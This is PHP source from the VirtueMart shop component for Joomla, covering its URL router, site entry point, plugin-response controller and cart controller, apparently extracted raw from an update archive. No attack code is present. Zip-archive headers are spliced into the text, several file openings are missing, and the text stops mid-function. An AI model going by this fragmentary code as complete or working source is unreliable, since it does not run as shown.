VmConfig::loadConfig(); if (! self::$_instance){ self::$_instance = new vmrouterHelper ($query); if (self::$limit===null){ $mainframe = Jfactory::getApplication(); ; $view = 'virtuemart'; if(isset($query['view'])) $view = $query['view']; self::$limit= $mainframe->getUserStateFromRequest('com_virtuemart.'.$view.'.limit', VmConfig::get('list_limit', 20), 'int'); // self::$limit= $mainframe->getUserStateFromRequest('global.list.limit', 'limit', VmConfig::get('list_limit', 20), 'int'); } } return self::$_instance; } /* Set $this-lang (Translator for language from virtuemart string) to load only once*/ /*public function setLangs(){ $this->vmlang = VMLANG; $this->Jlang = JFactory::getLanguage(); if ( $this->seo_translate ) { // use translator $extension = 'com_virtuemart.sef'; $base_dir = JPATH_SITE; $this->Jlang->load($extension, $base_dir); } }/*/ public function getCategoryRoute($virtuemart_category_id){ $cache = JFactory::getCache('_virtuemart',''); $key = $virtuemart_category_id. $this->vmlang ; // internal cache key if (!($CategoryRoute = $cache->get($key))) { $CategoryRoute = $this->getCategoryRouteNocache($virtuemart_category_id); $cache->store($CategoryRoute, $key); } return $CategoryRoute ; } /* Get Joomla menu item and the route for category */ public function getCategoryRouteNocache($virtuemart_category_id){ if (! array_key_exists ($virtuemart_category_id . $this->vmlang, self::$_catRoute)){ $category = new stdClass(); $category->route = ''; $category->itemId = 0; $menuCatid = 0 ; $ismenu = false ; // control if category is joomla menu if (isset($this->menu['virtuemart_category_id'])) { if (isset( $this->menu['virtuemart_category_id'][$virtuemart_category_id])) { $ismenu = true; $category->itemId = $this->menu['virtuemart_category_id'][$virtuemart_category_id] ; } else { $CatParentIds = $this->getCategoryRecurse($virtuemart_category_id,0) ; /* control if parent categories are joomla menu */ foreach ($CatParentIds as $CatParentId) { // No ? then find the parent menu categorie ! if (isset( $this->menu['virtuemart_category_id'][$CatParentId]) ) { $category->itemId = $this->menu['virtuemart_category_id'][$CatParentId] ; $menuCatid = $CatParentId; break; } } } } if ($ismenu==false) { if ( $this->use_id ) $category->route = $virtuemart_category_id.'/'; if (!isset ($this->CategoryName[$virtuemart_category_id])) { $this->CategoryName[$virtuemart_category_id] = $this->getCategoryNames($virtuemart_category_id, $menuCatid ); } $category->route .= $this->CategoryName[$virtuemart_category_id] ; if ($menuCatid == 0 && $this->menu['virtuemart']) $category->itemId = $this->menu['virtuemart'] ; } self::$_catRoute[$virtuemart_category_id . $this->vmlang] = $category; } return self::$_catRoute[$virtuemart_category_id . $this->vmlang] ; } /*get url safe names of category and parents categories */ public function getCategoryNames($virtuemart_category_id,$catMenuId=0){ static $categoryNamesCache = array(); $strings = array(); $db = JFactory::getDBO(); $parents_id = array_reverse($this->getCategoryRecurse($virtuemart_category_id,$catMenuId)) ; foreach ($parents_id as $id ) { if(!isset($categoryNamesCache[$id])){ $q = 'SELECT `slug` as name FROM `#__virtuemart_categories_'.$this->vmlang.'` WHERE `virtuemart_category_id`='.(int)$id; $db->setQuery($q); $cslug = $db->loadResult(); $categoryNamesCache[$id] = $cslug; $strings[] = $cslug; } else { $strings[] = $categoryNamesCache[$id]; } } if(function_exists('mb_strtolower')){ return mb_strtolower(implode ('/', $strings ) ); } else { return strtolower(implode ('/', $strings ) ); } } /* Get parents of category*/ public function getCategoryRecurse($virtuemart_category_id,$catMenuId,$first=true ) { static $idsArr = array(); if ($first==true) $idsArr = array(); $db = JFactory::getDBO(); $q = "SELECT `category_child_id` AS `child`, `category_parent_id` AS `parent` FROM #__virtuemart_category_categories AS `xref` WHERE `xref`.`category_child_id`= ".(int)$virtuemart_category_id; $db->setQuery($q); $ids = $db->loadObject(); if (isset ($ids->child)) { $idsArr[] = $ids->child; if($ids->parent != 0 and $catMenuId != $virtuemart_category_id and $catMenuId != $ids->parent) { $this->getCategoryRecurse($ids->parent,$catMenuId,false); } } return $idsArr ; } /* return id of categories * $names are segments * $virtuemart_category_ids is joomla menu virtuemart_category_id */ public function getCategoryId($slug,$virtuemart_category_id ){ $db = JFactory::getDBO(); $q = "SELECT `virtuemart_category_id` FROM `#__virtuemart_categories_".$this->vmlang."` WHERE `slug` LIKE '".$db->getEscaped($slug)."' "; $db->setQuery($q); if (!$category_id = $db->loadResult()) { $category_id = $virtuemart_category_id; } return $category_id ; } /* Get URL safe Product name */ public function getProductName($id){ static $productNamesCache = array(); if(!isset($productNamesCache[$id])){ $db = JFactory::getDBO(); $query = 'SELECT `slug` FROM `#__virtuemart_products_'.$this->vmlang.'` ' . ' WHERE `virtuemart_product_id` = ' . (int) $id; $db->setQuery($query); $name = $db->loadResult(); $productNamesCache[$id] = $name ; } else { $name = $productNamesCache[$id]; } return $name.$this->seo_sufix; } var $counter = 0; /* Get parent Product first found category ID */ public function getParentProductcategory($id){ $virtuemart_category_id = 0; $db = JFactory::getDBO(); $query = 'SELECT `product_parent_id` FROM `#__virtuemart_products` ' . ' WHERE `virtuemart_product_id` = ' . (int) $id; $db->setQuery($query); /* If product is child then get parent category ID*/ if ($parent_id = $db->loadResult()) { $query = 'SELECT `virtuemart_category_id` FROM `#__virtuemart_product_categories` ' . ' WHERE `virtuemart_product_id` = ' . $parent_id; $db->setQuery($query); //When the child and parent id is the same, this creates a deadlock //add $counter, dont allow more then 10 levels if (!$virtuemart_category_id = $db->loadResult()){ $this->counter++; if($this->counter<10){ $this->getParentProductcategory($parent_id) ; } } } $this->counter = 0; return $virtuemart_category_id ; } /* get product and category ID */ public function getProductId($names,$virtuemart_category_id = NULL ){ $productName = array_pop($names); $productName = substr($productName, 0, -(int)$this->seo_sufix_size ); $product = array(); $categoryName = end($names); $product['virtuemart_category_id'] = $this->getCategoryId($categoryName,$virtuemart_category_id ) ; $db = JFactory::getDBO(); $q = 'SELECT `p`.`virtuemart_product_id` FROM `#__virtuemart_products_'.$this->vmlang.'` AS `p` LEFT JOIN `#__virtuemart_product_categories` AS `xref` ON `p`.`virtuemart_product_id` = `xref`.`virtuemart_product_id` WHERE `p`.`slug` LIKE "'.$db->getEscaped($productName).'" '; //$q .= " AND `xref`.`virtuemart_category_id` = ".(int)$product['virtuemart_category_id']; $db->setQuery($q); $product['virtuemart_product_id'] = $db->loadResult(); /* WARNING product name must be unique or you can't acces the product */ return $product ; } /* Get URL safe Manufacturer name */ public function getManufacturerName($virtuemart_manufacturer_id ){ $db = JFactory::getDBO(); $query = 'SELECT `slug` FROM `#__virtuemart_manufacturers_'.$this->vmlang.'` WHERE virtuemart_manufacturer_id='.(int)$virtuemart_manufacturer_id; $db->setQuery($query); return $db->loadResult(); } /* Get Manufacturer id */ public function getManufacturerId($slug ){ $db = JFactory::getDBO(); $query = "SELECT `virtuemart_manufacturer_id` FROM `#__virtuemart_manufacturers_".$this->vmlang."` WHERE `slug` LIKE '".$db->getEscaped($slug)."' "; $db->setQuery($query); return $db->loadResult(); } /* Get URL safe Manufacturer name */ public function getVendorName($virtuemart_vendor_id ){ $db = JFactory::getDBO(); $query = 'SELECT `slug` FROM `#__virtuemart_vendors_'.$this->vmlang.'` WHERE virtuemart_vendor_id='.(int)$virtuemart_vendor_id; $db->setQuery($query); return $db->loadResult(); } /* Get Manufacturer id */ public function getVendorId($slug ){ $db = JFactory::getDBO(); $query = "SELECT `virtuemart_vendor_id` FROM `#__virtuemart_vendors_".$this->vmlang."` WHERE `slug` LIKE '".$db->getEscaped($slug)."' "; $db->setQuery($query); return $db->loadResult(); } /* Set $this->menu with the Item ID from Joomla Menus */ private function setMenuItemIdJ17(){ $home = false ; $component = JComponentHelper::getComponent('com_virtuemart'); //else $items = $menus->getItems('component_id', $component->id); //get all vm menus $db = JFactory::getDBO(); $fallback = ''; $jLangTag = $this->Jlang->getTag(); if($jLangTag!=VmConfig::$langTag){ $fallback= 'or language = "'.$jLangTag.'"'; } $query = 'SELECT * FROM `#__menu` where `link` like "index.php?option=com_virtuemart%" and client_id=0 and published=1 and (language="*" or language = "'.VmConfig::$langTag.'" '.$fallback.' )' ; $db->setQuery($query); // vmdebug('setMenuItemIdJ17 q',$query); $this->menuVmitems= $db->loadObjectList(); $homeid =0; if(empty($this->menuVmitems)){ VmConfig::loadJLang('com_virtuemart', true); vmWarn(JText::_('COM_VIRTUEMART_ASSIGN_VM_TO_MENU')); } else { // Search Virtuemart itemID in joomla menu foreach ($this->menuVmitems as $item) { $linkToSplit= explode ('&',$item->link); $link =array(); foreach ($linkToSplit as $tosplit) { $splitpos = strpos($tosplit, '='); $link[ (substr($tosplit, 0, $splitpos) ) ] = substr($tosplit, $splitpos+1); } //vmDebug('menu view link',$link); //This is fix to prevent entries in the errorlog. if(!empty($link['view'])){ $view = $link['view'] ; if (array_key_exists($view,$this->dbview) ){ $dbKey = $this->dbview[$view]; } else { $dbKey = false ; } if ( isset($link['virtuemart_'.$dbKey.'_id']) && $dbKey ){ $this->menu['virtuemart_'.$dbKey.'_id'][ $link['virtuemart_'.$dbKey.'_id'] ] = $item->id; } elseif ($home == $view ) continue; else $this->menu[$view]= $item->id ; if ((int)$item->home === 1) { $home = $view; $homeid = $item->id; } } else { vmdebug('my item with empty $link["view"]',$item); vmError('$link["view"] is empty'); } } } // init unsetted views to defaut front view or nothing(prevent duplicates routes) if ( !isset( $this->menu['virtuemart']) ) { if (isset ($this->menu['virtuemart_category_id'][0]) ) { $this->menu['virtuemart'] = $this->menu['virtuemart_category_id'][0] ; }else $this->menu['virtuemart'] = $homeid; } // if ( !isset( $this->menu['manufacturer']) ) { // $this->menu['manufacturer'] = $this->menu['virtuemart'] ; // } // if ( !isset( $this->menu['vendor']) ) { // $this->menu['manufacturer'] = $this->menu['virtuemart'] ; // } } /* Set $this->menu with the Item ID from Joomla Menus */ private function setMenuItemId(){ $app = JFactory::getApplication(); $menus = $app->getMenu('site'); $component = JComponentHelper::getComponent('com_virtuemart'); $items = $menus->getItems('componentid', $component->id); if(empty($items)){ VmConfig::loadJLang('com_virtuemart', true); vmWarn(JText::_('COM_VIRTUEMART_ASSIGN_VM_TO_MENU')); } else { // Search Virtuemart itemID in joomla menu foreach ($items as $item) { $view = $item->query['view'] ; if ($view=='virtuemart') $this->menu['virtuemart'] = $item->id; $dbKey = $this->dbview[$view]; if ( isset($item->query['virtuemart_'.$dbKey.'_id']) ) $this->menu['virtuemart_'.$dbKey.'_id'][ $item->query['virtuemart_'.$dbKey.'_id'] ] = $item->id; else $this->menu[$view]= $item->id ; } } // init unsetted views to defaut front view or nothing(prevent duplicates routes) if ( !isset( $this->menu['virtuemart'][0]) ) { $this->menu['virtuemart'][0] = null; } if ( !isset( $this->menu['manufacturer']) ) { $this->menu['manufacturer'] = $this->menu['virtuemart'][0] ; } } /* Set $this->activeMenu to current Item ID from Joomla Menus */ private function setActiveMenu(){ if ($this->activeMenu === null ) { //$menu = JSite::getMenu(); //$menu = JFactory::getApplication()->getMenu(); $app = JFactory::getApplication(); $menu = $app->getMenu('site'); if ($Itemid = JRequest::getInt('Itemid',0) ) { $menuItem = $menu->getItem($Itemid); } else { $menuItem = $menu->getActive(); } //vmdebug('What is my active menu now?',$menuItem); $this->activeMenu = new stdClass(); $this->activeMenu->view = (empty($menuItem->query['view'])) ? null : $menuItem->query['view']; $this->activeMenu->virtuemart_category_id = (empty($menuItem->query['virtuemart_category_id'])) ? 0 : $menuItem->query['virtuemart_category_id']; $this->activeMenu->virtuemart_product_id = (empty($menuItem->query['virtuemart_product_id'])) ? null : $menuItem->query['virtuemart_product_id']; $this->activeMenu->virtuemart_manufacturer_id = (empty($menuItem->query['virtuemart_manufacturer_id'])) ? null : $menuItem->query['virtuemart_manufacturer_id']; /* added in 208 */ $this->activeMenu->virtuemart_vendor_id = (empty($menuItem->query['virtuemart_vendor_id'])) ? null : $menuItem->query['virtuemart_vendor_id']; $this->activeMenu->Component = (empty($menuItem->component)) ? null : $menuItem->component; } } /* * Get language key or use $key in route */ public function lang($key) { if ($this->seo_translate ) { $jtext = (strtoupper( $key ) ); if ($this->Jlang->hasKey('COM_VIRTUEMART_SEF_'.$jtext) ){ //vmdebug('router lang translated '.$jtext); return JText::_('COM_VIRTUEMART_SEF_'.$jtext); } } //vmdebug('router lang '.$key); //falldown return $key; } /* * revert key or use $key in route */ public function getOrderingKey($key) { if ($this->seo_translate ) { if ($this->orderings == null) { $this->orderings = array( 'virtuemart_product_id'=> JText::_('COM_VIRTUEMART_SEF_PRODUCT_ID'), 'product_sku' => JText::_('COM_VIRTUEMART_SEF_PRODUCT_SKU'), 'product_price' => JText::_('COM_VIRTUEMART_SEF_PRODUCT_PRICE'), 'category_name' => JText::_('COM_VIRTUEMART_SEF_CATEGORY_NAME'), 'category_description'=> JText::_('COM_VIRTUEMART_SEF_CATEGORY_DESCRIPTION'), 'mf_name' => JText::_('COM_VIRTUEMART_SEF_MF_NAME'), 'product_s_desc' => JText::_('COM_VIRTUEMART_SEF_PRODUCT_S_DESC'), 'product_desc' => JText::_('COM_VIRTUEMART_SEF_PRODUCT_DESC'), 'product_weight' => JText::_('COM_VIRTUEMART_SEF_PRODUCT_WEIGHT'), 'product_weight_uom'=> JText::_('COM_VIRTUEMART_SEF_PRODUCT_WEIGHT_UOM'), 'product_length' => JText::_('COM_VIRTUEMART_SEF_PRODUCT_LENGTH'), 'product_width' => JText::_('COM_VIRTUEMART_SEF_PRODUCT_WIDTH'), 'product_height' => JText::_('COM_VIRTUEMART_SEF_PRODUCT_HEIGHT'), 'product_lwh_uom' => JText::_('COM_VIRTUEMART_SEF_PRODUCT_LWH_UOM'), 'product_in_stock' => JText::_('COM_VIRTUEMART_SEF_PRODUCT_IN_STOCK'), 'low_stock_notification'=> JText::_('COM_VIRTUEMART_SEF_LOW_STOCK_NOTIFICATION'), 'product_available_date'=> JText::_('COM_VIRTUEMART_SEF_PRODUCT_AVAILABLE_DATE'), 'product_availability' => JText::_('COM_VIRTUEMART_SEF_PRODUCT_AVAILABILITY'), 'product_special' => JText::_('COM_VIRTUEMART_SEF_PRODUCT_SPECIAL'), 'created_on' => JText::_('COM_VIRTUEMART_SEF_CREATED_ON'), // 'p.modified_on' => JText::_('COM_VIRTUEMART_SEF_MDATE'), 'product_name' => JText::_('COM_VIRTUEMART_SEF_PRODUCT_NAME'), 'product_sales' => JText::_('COM_VIRTUEMART_SEF_PRODUCT_SALES'), 'product_unit' => JText::_('COM_VIRTUEMART_SEF_PRODUCT_UNIT'), 'product_packaging' => JText::_('COM_VIRTUEMART_SEF_PRODUCT_PACKAGING'), 'intnotes' => JText::_('COM_VIRTUEMART_SEF_INTNOTES'), 'pc.ordering' => JText::_('COM_VIRTUEMART_SEF_ORDERING') ); } if ($result = array_search($key,$this->orderings )) { return $result; } } return $key; } /* * revert string key or use $key in route */ public function compareKey($string, $key) { if ($this->seo_translate ) { if (JText::_('COM_VIRTUEMART_SEF_'.$key) == $string ) { return true; } } if ($string == $key) return true; return false; } } // pure php no closing tagPKtl>\>com_virtuemart_update/components/com_virtuemart/virtuemart.phpnuW+AsetCaching (1); $_controller = 'virtuemart'; require (JPATH_VM_SITE.DS.'controllers'.DS.'virtuemart.php'); JRequest::setVar('view', 'virtuemart'); $task=''; $basePath = JPATH_VM_SITE; } else { //$cache->setCaching (0); /* Front-end helpers */ if(!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'image.php'); //dont remove that file it is actually in every view except the state view if(!class_exists('shopFunctionsF'))require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); //dont remove that file it is actually in every view $_controller = JRequest::getWord('view', JRequest::getWord('controller', 'virtuemart')) ; $trigger = 'onVmSiteController'; // $task = JRequest::getWord('task',JRequest::getWord('layout',$_controller) ); $this makes trouble! $task = JRequest::getWord('task','') ; if ((($_controller == 'product' || $_controller == 'category') && ($task == 'save' || $task == 'edit')) || ($_controller == 'translate' && $task='paste') ) { $app = JFactory::getApplication(); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if (Permissions::getInstance()->check("admin,storeadmin")) { VmConfig::loadJLang('com_virtuemart'); $basePath = JPATH_VM_ADMINISTRATOR; $trigger = 'onVmAdminController'; vmJsApi::jQuery(false); //vmJsApi::js('vmsite'); } else { $app->redirect('index.php?option=com_virtuemart', jText::_('COM_VIRTUEMART_RESTRICTED_ACCESS') ); } } elseif($_controller) { vmJsApi::jQuery(); vmJsApi::jSite(); vmJsApi::cssSite(); $basePath = JPATH_VM_SITE; } } /* Create the controller name */ $_class = 'VirtuemartController'.ucfirst($_controller); if (file_exists($basePath.DS.'controllers'.DS.$_controller.'.php')) { if (!class_exists($_class)) { require ($basePath.DS.'controllers'.DS.$_controller.'.php'); } } else { // try plugins JPluginHelper::importPlugin('vmextended'); JPluginHelper::importPlugin('vmshipment'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger($trigger, array($_controller)); } if (class_exists($_class)) { $controller = new $_class(); // try plugins JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmOnMainController', array($_controller)); /* Perform the Request task */ $controller->execute($task); // vmTime($_class.' Finished task '.$task,'Start'); vmRam('End'); vmRamPeak('Peak'); /* Redirect if set by the controller */ $controller->redirect(); } else { vmDebug('VirtueMart controller not found: '. $_class); if (VmConfig::get('handle_404',1)) { $mainframe = Jfactory::getApplication(); $mainframe->redirect(JRoute::_ ('index.php?option=com_virtuemart&view=virtuemart', FALSE)); } else { JError::raise(E_ERROR,'404','Not found'); } } PKtl>\#o,,:com_virtuemart_update/components/com_virtuemart/index.htmlnuW+APKtl>\E2Ncom_virtuemart_update/components/com_virtuemart/controllers/pluginresponse.phpnuW+APaymentResponseReceived(); $this->ShipmentResponseReceived(); } /** * ResponseReceived() * From the payment page, the user returns to the shop. The order email is sent, and the cart emptied. * * @author Valerie Isaksen * */ function PaymentResponseReceived() { if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); $return_context = ""; $dispatcher = JDispatcher::getInstance(); $html = ""; $paymentResponse = Jtext::_('COM_VIRTUEMART_CART_THANKYOU'); $returnValues = $dispatcher->trigger('plgVmOnPaymentResponseReceived', array( 'html' => &$html,&$paymentResponse)); // JRequest::setVar('paymentResponse', Jtext::_('COM_VIRTUEMART_CART_THANKYOU')); // JRequest::setVar('paymentResponseHtml', $html); $view = $this->getView('pluginresponse', 'html'); $layoutName = JRequest::getVar('layout', 'default'); $view->setLayout($layoutName); $view->assignRef('paymentResponse', $paymentResponse); $view->assignRef('paymentResponseHtml', $html); // Display it all $view->display(); } function ShipmentResponseReceived() { // TODO: not ready yet if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); $return_context = ""; $dispatcher = JDispatcher::getInstance(); $html = ""; $shipmentResponse = Jtext::_('COM_VIRTUEMART_CART_THANKYOU'); $dispatcher->trigger('plgVmOnShipmentResponseReceived', array( 'html' => &$html,&$shipmentResponse)); /* // JRequest::setVar('paymentResponse', Jtext::_('COM_VIRTUEMART_CART_THANKYOU')); // JRequest::setVar('paymentResponseHtml', $html); $view = $this->getView('pluginresponse', 'html'); $layoutName = JRequest::getVar('layout', 'default'); $view->setLayout($layoutName); $view->assignRef('shipmentResponse', $shipmentResponse); $view->assignRef('shipmentResponseHtml', $html); // Display it all $view->display(); */ } /** * PaymentUserCancel() * From the payment page, the user has cancelled the order. The order previousy created is deleted. * The cart is not emptied, so the user can reorder if necessary. * then delete the order * @author Valerie Isaksen * */ function pluginUserPaymentCancel() { if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart (); if (!empty($cart->couponCode)) { if (!class_exists('CouponHelper')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'coupon.php'); CouponHelper::setInUseCoupon($cart->couponCode, false); } JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmOnUserPaymentCancel', array()); // return to cart view $view = $this->getView('cart', 'html'); $layoutName = JRequest::getWord('layout', 'default'); $view->setLayout($layoutName); // Display it all $view->display(); } /** * Attention this is the function which processs the response of the payment plugin * * @author Valerie Isaksen * @return success of update */ function pluginNotification() { if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); if (!class_exists('VirtueMartModelOrders')) require( JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php' ); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmOnPaymentNotification', array()); } } //pure php no Tag PKtl>\Up@p@Dcom_virtuemart_update/components/com_virtuemart/controllers/cart.phpnuW+Aredirect('index.php'); } else { if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); if (!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $this->useSSL = VmConfig::get('useSSL', 0); $this->useXHTML = false; } /** * Override of display * * @return JController A JController object to support chaining. * * @since 11.1 */ public function display($cachable = false, $urlparams = false) { $document = JFactory::getDocument(); $viewType = $document->getType(); $viewName = JRequest::getCmd('view', $this->default_view); $viewLayout = JRequest::getCmd('layout', 'default'); $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout)); $view->assignRef('document', $document); $view->display(); return $this; } /** * Add the product to the cart * * @author RolandD * @author Max Milbers * @access public */ public function add() { $mainframe = JFactory::getApplication(); if (VmConfig::get('use_as_catalog', 0)) { $msg = JText::_('COM_VIRTUEMART_PRODUCT_NOT_ADDED_SUCCESSFULLY'); $type = 'error'; $mainframe->redirect('index.php', $msg, $type); } $cart = VirtueMartCart::getCart(); if ($cart) { $virtuemart_product_ids = JRequest::getVar('virtuemart_product_id', array(), 'default', 'array'); $success = true; if ($cart->add($virtuemart_product_ids,$success)) { $msg = JText::_('COM_VIRTUEMART_PRODUCT_ADDED_SUCCESSFULLY'); $type = ''; } else { $msg = JText::_('COM_VIRTUEMART_PRODUCT_NOT_ADDED_SUCCESSFULLY'); $type = 'error'; } $mainframe->enqueueMessage($msg, $type); $mainframe->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE)); } else { $mainframe->enqueueMessage('Cart does not exist?', 'error'); } } /** * Add the product to the cart, with JS * * @author Max Milbers * @access public */ public function addJS() { $this->json = new stdClass(); $cart = VirtueMartCart::getCart(false); if ($cart) { $virtuemart_product_ids = JRequest::getVar('virtuemart_product_id', array(), 'default', 'array'); $view = $this->getView ('cart', 'json'); $errorMsg = 0;//JText::_('COM_VIRTUEMART_CART_PRODUCT_ADDED'); $products = $cart->add($virtuemart_product_ids, $errorMsg ); if ($products) { if(is_array($products) and isset($products[0])){ $view->assignRef('product',$products[0]); } $view->setLayout('padded'); $this->json->stat = '1'; } else { $view->setLayout('perror'); $this->json->stat = '2'; $tmp = false; $view->assignRef('product',$tmp); } $view->assignRef('products',$products); $view->assignRef('errorMsg',$errorMsg); ob_start(); $view->display (); $this->json->msg = ob_get_clean(); } else { $this->json->msg = '' . JText::_('COM_VIRTUEMART_CONTINUE_SHOPPING') . ''; $this->json->msg .= '

          ' . JText::_('COM_VIRTUEMART_MINICART_ERROR') . '

          '; $this->json->stat = '0'; } echo json_encode($this->json); jExit(); } /** * Add the product to the cart, with JS * * @author Max Milbers * @access public */ public function viewJS() { if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart(false); $this->data = $cart->prepareAjaxData(); $extension = 'com_virtuemart'; VmConfig::loadJLang($extension); // when AJAX it needs to be loaded manually here >> in case you are outside virtuemart ! if ($this->data->totalProduct > 1) $this->data->totalProductTxt = JText::sprintf('COM_VIRTUEMART_CART_X_PRODUCTS', $this->data->totalProduct); else if ($this->data->totalProduct == 1) $this->data->totalProductTxt = JText::_('COM_VIRTUEMART_CART_ONE_PRODUCT'); else $this->data->totalProductTxt = JText::_('COM_VIRTUEMART_EMPTY_CART'); if ($this->data->dataValidated == true) { $taskRoute = '&task=confirm'; $linkName = JText::_('COM_VIRTUEMART_ORDER_CONFIRM_MNU'); } else { $taskRoute = ''; $linkName = JText::_('COM_VIRTUEMART_CART_SHOW'); } $this->data->cart_show = 'useXHTML, $this->useSSL) . '" rel="nofollow">' . $linkName . ''; $this->data->billTotal = vmText::_('COM_VIRTUEMART_CART_TOTAL') . ' : ' . $this->data->billTotal . ''; echo json_encode($this->data); Jexit(); } /** * For selecting couponcode to use, opens a new layout * * @author Max Milbers */ public function edit_coupon() { $view = $this->getView('cart', 'html'); $view->setLayout('edit_coupon'); // Display it all $view->display(); } /** * Store the coupon code in the cart * @author Max Milbers */ public function setcoupon() { /* Get the coupon_code of the cart */ $coupon_code = JRequest::getVar('coupon_code', ''); //TODO VAR OR INT OR WORD? if ($coupon_code) { $cart = VirtueMartCart::getCart(); if ($cart) { $app = JFactory::getApplication(); $msg = $cart->setCouponCode($coupon_code); //$cart->setDataValidation(); //Not needed already done in the getCart function if ($cart->getInCheckOut()) { $app = JFactory::getApplication(); $app->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart&task=checkout', FALSE),$msg); } else { $app->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE),$msg); } } } $this->display(); } /** * For selecting shipment, opens a new layout * * @author Max Milbers */ public function edit_shipment() { $view = $this->getView('cart', 'html'); $view->setLayout('select_shipment'); // Display it all $view->display(); } /** * Sets a selected shipment to the cart * * @author Max Milbers */ public function setshipment() { /* Get the shipment ID from the cart */ $cart = VirtueMartCart::getCart(); if ($cart) { $virtuemart_shipmentmethod_id = JRequest::getInt('virtuemart_shipmentmethod_id', $cart->virtuemart_shipmentmethod_id); //Now set the shipment ID into the cart if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); $cart->setShipment($virtuemart_shipmentmethod_id); //Add a hook here for other payment methods, checking the data of the choosed plugin $_dispatcher = JDispatcher::getInstance(); $_retValues = $_dispatcher->trigger('plgVmOnSelectCheckShipment', array( &$cart)); $dataValid = true; foreach ($_retValues as $_retVal) { if ($_retVal === true ) { // Plugin completed successfull; nothing else to do $cart->setCartIntoSession(); break; } else if ($_retVal === false ) { $mainframe = JFactory::getApplication(); $mainframe->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart&task=edit_shipment',$this->useXHTML,$this->useSSL), $_retVal); break; } } if ($cart->getInCheckOut() && !VmConfig::get('oncheckout_opc', 1)) { $mainframe = JFactory::getApplication(); $mainframe->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart&task=checkout', FALSE) ); } } // self::Cart(); $this->display(); } /** * To select a payment method * * @author Max Milbers */ public function editpayment() { $view = $this->getView('cart', 'html'); $view->setLayout('select_payment'); // Display it all $view->display(); } /** * To set a payment method * * @author Max Milbers * @author Oscar van Eijk * @author Valerie Isaksen */ function setpayment() { // Get the payment id of the cart //Now set the payment rate into the cart $cart = VirtueMartCart::getCart(); if ($cart) { if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); //Some Paymentmethods needs extra Information like $virtuemart_paymentmethod_id = JRequest::getInt('virtuemart_paymentmethod_id', $cart->virtuemart_paymentmethod_id); $cart->setPaymentMethod($virtuemart_paymentmethod_id); //Add a hook here for other payment methods, checking the data of the choosed plugin $msg = ''; $_dispatcher = JDispatcher::getInstance(); $_retValues = $_dispatcher->trigger('plgVmOnSelectCheckPayment', array( $cart, &$msg)); $dataValid = true; foreach ($_retValues as $_retVal) { if ($_retVal === true ) { // Plugin completed succesfull; nothing else to do $cart->setCartIntoSession(); break; } else if ($_retVal === false ) { $app = JFactory::getApplication(); $app->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart&task=editpayment',$this->useXHTML,$this->useSSL), $msg); break; } } // $cart->setDataValidation(); //Not needed already done in the getCart function // vmdebug('setpayment $cart',$cart); if ($cart->getInCheckOut() && !VmConfig::get('oncheckout_opc', 1)) { $app = JFactory::getApplication(); $app->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart&task=checkout', FALSE), $msg); } } $this->display(); } /** * Delete a product from the cart * * @author RolandD * @access public */ public function delete() { $mainframe = JFactory::getApplication(); /* Load the cart helper */ $cart = VirtueMartCart::getCart(); if ($cart->removeProductCart()) $mainframe->enqueueMessage(JText::_('COM_VIRTUEMART_PRODUCT_REMOVED_SUCCESSFULLY')); else $mainframe->enqueueMessage(JText::_('COM_VIRTUEMART_PRODUCT_NOT_REMOVED_SUCCESSFULLY'), 'error'); $mainframe->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE)); } /** * Delete a product from the cart * * @author RolandD * @access public */ public function update() { $mainframe = JFactory::getApplication(); /* Load the cart helper */ $cartModel = VirtueMartCart::getCart(); if ($cartModel->updateProductCart()) $mainframe->enqueueMessage(JText::_('COM_VIRTUEMART_PRODUCT_UPDATED_SUCCESSFULLY')); else $mainframe->enqueueMessage(JText::_('COM_VIRTUEMART_PRODUCT_NOT_UPDATED_SUCCESSFULLY'), 'error'); $mainframe->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE)); } /** * Change the shopper * * @author Maik K�nnemann * */ public function changeShopper() { JRequest::checkToken () or jexit ('Invalid Token'); //get data of current and new user $usermodel 